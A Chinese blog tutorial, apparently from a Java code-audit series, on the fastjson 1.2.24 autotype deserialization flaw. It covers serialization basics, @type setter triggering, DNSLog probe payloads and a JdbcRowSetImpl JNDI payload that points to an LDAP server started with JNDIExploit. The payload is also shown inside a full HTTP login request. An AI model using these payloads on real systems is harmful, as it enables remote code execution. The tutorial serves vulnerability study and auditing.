• Java代码审计16之fastjson反序列化漏洞(1)


    1、简介fastjson

    Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为Java 对象。
    
    Fastjson 可以操作任何 Java 对象,即使是⼀些预先存在的没有源码的对象。
    
    Fastjson 源码地址:https://github.com/alibaba/fastjson
    
    Fastjson 中⽂ Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    添加pom.xml依赖,

            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.24</version>
            </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2、fastjson的使用

    简单了解将对象转化为json,以及从json还原对象
    
    • 1

    2.1、将类序列化为字符串

    主要就是 JSON.toJSONString 函数的使用
    
    该函数可以仅仅传入一个参数,也可以传入两个参数,
    
    序列化生成的字符串略有区别,
    
    • 1
    • 2
    • 3
    • 4
    • 5

    user.java

    package com.example.demo2;
    
    public class user {
    
        private int age;
        private String username;
        private String password;
    
        // 默认无参数构造函数
        public user() {
            System.out.println("无参构造方法被调用");
        }
    
        public user(int age, String username, String password) {
            System.out.println("有参构造方法被调用");
            this.age = age;
            this.username = username;
            this.password = password;
        }
    
        public int getAge() {
    
            System.out.println("get函数被调用");
            return age;
        }
    
        public void setAge(int age) {
            System.out.println("set函数被调用");
            this.age = age;
        }
    
        public String getUsername() {
            return username;
        }
    
        public void setUsername(String username) {
            this.username = username;
        }
    
        public String getPassword() {
            return password;
        }
    
        public void setPassword(String password) {
            this.password = password;
        }
    
    
        @Override
        public String toString() {
            System.out.println("toString函数被调用。。。");
            return "user{" +
                    "age=" + age +
                    ", username='" + username + '\'' +
                    ", password='" + password + '\'' +
                    '}' ;
        }
    
    
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62

    main.java

    package com.example.demo2;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    
    public class main {
        public static void main(String[] args) throws Exception {
    
            user user = new user(12, "xbb", "123456");
    
            // 序列化⽅式
            String json1 = JSON.toJSONString(user);
    
            //生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型
            String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
    
            System.out.println(json1);
            System.out.println(json2);
            System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());
    
    
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    输出如下,可以看到类以及被序列化为json类型的字符串,

    有参构造方法被调用
    {"age":12,"password":"123456","username":"xbb"}
    {"@type":"com.example.demo2.user","age":12,"password":"123456","username":"xbb"}
    json1的变量类型:String
    
    • 1
    • 2
    • 3
    • 4

    2.2、将字符串还原为对象

    设计两个函数,
    
    	JSON.parse
    
    	JSON.parseObject
    
    • 1
    • 2
    • 3
    • 4
    • 5

    main.java

    package com.example.demo2;
    
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    
    public class main {
        public static void main(String[] args) throws Exception {
    
            user user = new user(12, "xbb", "123456");
    
            // 序列化⽅式
            String json1 = JSON.toJSONString(user);
    
            //生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型
            String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
    
    //        System.out.println(json1);
    //        System.out.println(json2);
    //        System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());
    
    
            System.out.println();
    
    
            //使用JSON.parse函数从字符串还原为对象
            System.out.println(JSON.parse(json1));
            //输出还原成什么类型;JSONObject
            System.out.println(JSON.parse(json1).getClass().getSimpleName());
    
            System.out.println(JSON.parseObject(json1));
            //输出还原成什么类型;JSONObject
            System.out.println(JSON.parseObject(json1).getClass().getSimpleName());
    
            System.out.println();
            //使用JSON.parseObject 函数从字符串还原为对象
            System.out.println(JSON.parse(json2));
            System.out.println();
            System.out.println(JSON.parseObject(json2));
    
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    对于“  JSON.toJSONString(user) ”这种方式序列化的字符串,
    	
    	两种还原函数,得到的结果一致。
    
    对于“ JSON.toJSONString(user, SerializerFeature.WriteClassName) ” 这种方式序列化得到的字符串,
    	
    	两个函数还原得到的结果不一致,且还原和上面的字符串还原的过程也不一致,
    
    	对于json2字符串,使用JSON.parseObject函数还原的过程,
    	
    		调用无参构造方法
    		调用了set函数
    		调用了get函数
    		输出结果和json1还原一致
    
    	对于json1字符串,使用JSON.parseObject函数还原过程,
    		调用无参构造方法
    		调用set函数
    		调用toString函数
    		输出结果和以上3个不同
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    有参构造方法被调用
    get函数被调用
    get函数被调用
    
    {"password":"123456","age":12,"username":"xbb"}
    JSONObject
    {"password":"123456","age":12,"username":"xbb"}
    JSONObject
    
    无参构造方法被调用
    set函数被调用
    toString函数被调用。。。
    user{age=12, username='xbb', password='123456'}
    
    无参构造方法被调用
    set函数被调用
    get函数被调用
    {"password":"123456","age":12,"username":"xbb"}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    继续增加JSON.parseObject函数的参数,

            System.out.println(JSON.parseObject(json1,user.class)); 
            System.out.println(JSON.parseObject(json2,user.class)); 
    
    • 1
    • 2

    输出结果一样,

    无参构造方法被调用
    set函数被调用
    toString函数被调用。。。
    user{age=12, username='xbb', password='123456'}
    
    无参构造方法被调用
    set函数被调用
    toString函数被调用。。。
    user{age=12, username='xbb', password='123456'}
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    2.3、小结以上

    序列化函数
    
    	JSON.toJSONString(对象,可选参数)
    
    	测试可选参数为:SerializerFeature.WriteClassName
    
    反序列化函数
    
    	JSON.parse(字符串)
    
    
    	JSON.parseObject(字符串,可选参数)
    
    	可选参数为:指定还原对象类型,如,user.class
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    在这里插入图片描述

    2.4、稍微扩展思路

    由上面的测试,我们知道,假设反序列化的值是由用户可控的话,
    
    假设原本的get/set/toString/无参构造方法内存在高危功能代码,
    
    那么就会产生漏洞,因为以json2格式字符串,任何反序列化的函数都会触发set函数,
    
    • 1
    • 2
    • 3
    • 4
    • 5

    我们假设set函数的内容如下:

        public String getUsername() {return username; }
    
        public void setUsername(String username) {
            this.username = username;
            try {
                Runtime.getRuntime().exec("calc");
    //            Runtime.getRuntime().exec(username);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    main.java

    package com.example.demo2;
    
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    
    public class main {
        public static void main(String[] args) throws Exception {
    
            String json2 = "{\"@type\":\"com.example.demo2.user\",\"age\":12,\"password\":\"123456\",\"username\":\"xxx\"}";
    
            System.out.println(JSON.parseObject(json2));
    
        }
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    运行就会弹出计算器,
    在这里插入图片描述

    这个弹出计算器是原代码写死的,假设我们在改动下set函数,
    
    假设执行的命令是有反序列化得到的,则就会造成命令注入。
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    3、fastjson漏洞利⽤原理与dnslog

    json字符串中带有@type
    
    漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,
    
    攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。
    
    攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,
    
    甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    	上面是比较官方的说法,其实由上面的测试,我们也知道,
    
    	我们假设set函数内存在高危功能点,且参数可控,则造成的危害是比较大的。
    
    	然而,我们的user类setname函数内没有高危功能和可控参数,如何造成危害呢
    
    • 1
    • 2
    • 3
    • 4
    • 5
    其实这里答案比较明确了,既然反序列化的字符串都是可控的,
    
    user类没有这种功能点,那Jdk自带的那么多类,总是存在这样的地方把,有
    
    • 1
    • 2
    • 3
    package com.example.demo2;
    
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    
    public class main {
        public static void main(String[] args) throws Exception {
    
            String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"aa.8fhj7r.3lasix.dnslog.cn\"}";
            System.out.println(JSON.parse(json2));
        }
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    在这里插入图片描述

    类似的JSON.parseObject也可以,虽然报错了,但是dns已经发出了请求,
    
    • 1
            String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";
    
            System.out.println(JSON.parseObject(json2));
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    小结可用poc,

    String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";
    
    类似的还有下面这个,
    
    String json2 = "{\"@type\":\"java.net.InetSocketAddress\"{\"address\":, \"val\":\"enst5r.cc9cve.dnslog.cn\"}\n";
    
    • 1
    • 2
    • 3
    • 4
    • 5

    4、JdbcRowSetImpl利用链

    4.1、JdbcRowSetImpl的基本知识

    上面我们利用jdk自带的类和函数实现了dnslog的探测,但是更多的时候目的都是rce,
    今天要说的 JdbcRowSetImpl 利用链不是java的原生类,而是java标准库的类(需要导入包使用)
    
    • 1
    • 2
    简单的理解,Java的标准库不是java自带的,是Java 的官方维护者(Oracle Corporation,
    
    以前是 Sun Microsystems)提供的,因此它是官方推荐的和广泛使用的一组类和包。所以使用较广。
    
    • 1
    • 2
    • 3
    另外java的标准库有很多的功能,一般需要什么功能会导入具体功能的jar包。
    
    而JdbcRowSetImpl 用于支持 JDBC 操作,因此非常常见。
    
    • 1
    • 2
    • 3

    4.2、利用代码复现

    先启动恶意服务器,
    
    java -jar .\JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.25
    
    • 1
    • 2
    • 3
    package com.example.test;
    import com.sun.rowset.JdbcRowSetImpl;
    
    import java.sql.SQLException;
    
    public class test2 {
        public static void main(String[] args) throws SQLException {
    
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
            jdbcRowSet.setAutoCommit(true);
    
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    4.3、生成poc

    这个标准库的JdbcRowSetImpl是可以触发漏洞的,那么我们参考之前的序列化后的字符串,
    
    改造我们的poc,
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    代码和得到poc,
    
    • 1
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}
    
    • 1
    package com.example.test;
    
    import com.alibaba.fastjson.JSON;
    import com.sun.rowset.JdbcRowSetImpl;
    
    import java.sql.SQLException;
    
    public class test2 {
        public static void main(String[] args) throws SQLException {
    
    //        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    //        jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
    //        jdbcRowSet.setAutoCommit(true);
    
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.1.25:1389/Basic/Command/calc\", \"autoCommit\":true}";
            System.out.println(payload);
            JSON.parse(payload);
    
    
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    4.4、模拟真实场景

    这个是一个登录,理想的代码,
    
    即拿到请求参数使用fastjson进行反序列化
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    所以,我们直接将传参变为poc,即可,
    
    • 1

    在这里插入图片描述

    详细的请求数据包,
    
    • 1
    POST /login HTTP/1.1
    Host: localhost:8080
    Content-Length: 123
    sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
    Accept: application/json, text/javascript, */*; q=0.01
    Content-Type: application/json;charset=UTF-8
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    sec-ch-ua-platform: "Windows"
    Origin: http://localhost:8080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost:8080/index.jsp
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=F9AD741194B4DCAC1D5914AC33163088
    Connection: close
    
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    4.5、利用链代码分析

    先看12行的代码,
    	
    	其实从函数的名称上就可以知道,这个函数的是给 DataSourceName 赋值的,跟一下吧
    	
    	跟进JdbcRowSetImpl.class,进入到setDataSourceNmame():
    	
    	因为初始化的时候getDataSourceNmame()为空,进入else,var变量的值就是传入的payload,
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    继续进setDataSourceName函数,这里就结束了
    
    • 1

    在这里插入图片描述

    执行完最初的12行,执行13行,
    	
    	跟进去,判断this.conn是否为空,我们也没有给this.conn设置值,肯定是空
    
    	进入else逻辑,执行 this.connect 函数,
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    
    这里直接进入else原因还是没有设置this.conn的值,
    
    然后326行代码,lookup的参数,就是上面12行设置的 DataSourceName 的值(payload),
    
    是可控的,而lookup()远程加载payload,就造成了JNDI注入漏洞。
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

  • 相关阅读:
    路由的配置及基本使用(多级路由,命名路由,parms参数query参数,编程式路由导航,缓存路由组件,路由守卫,路由的两种工作模式)
    【Vue面试题二十七】、你了解axios的原理吗?有看过它的源码吗?
    JDK1.8,Java,HashMap的put()方法全过程
    Node工程的依赖包管理方式
    【VPX611】基于6U VPX总线架构的SATA3.0高性能数据存储板(3.2GByte/s存储带宽)
    【微服务】微服务集成Rocketmq,一篇文章就够了
    python中的变量的定义和使用
    SpringBoot定时任务 - 经典定时任务设计:时间轮(Timing Wheel)案例和原理
    数据中台的前世今生(一):数据仓库——数据应用需求的涌现
    “我和云栖有个约会”有奖征文获奖名单已公布
  • 原文地址:https://blog.csdn.net/weixin_43970718/article/details/132891973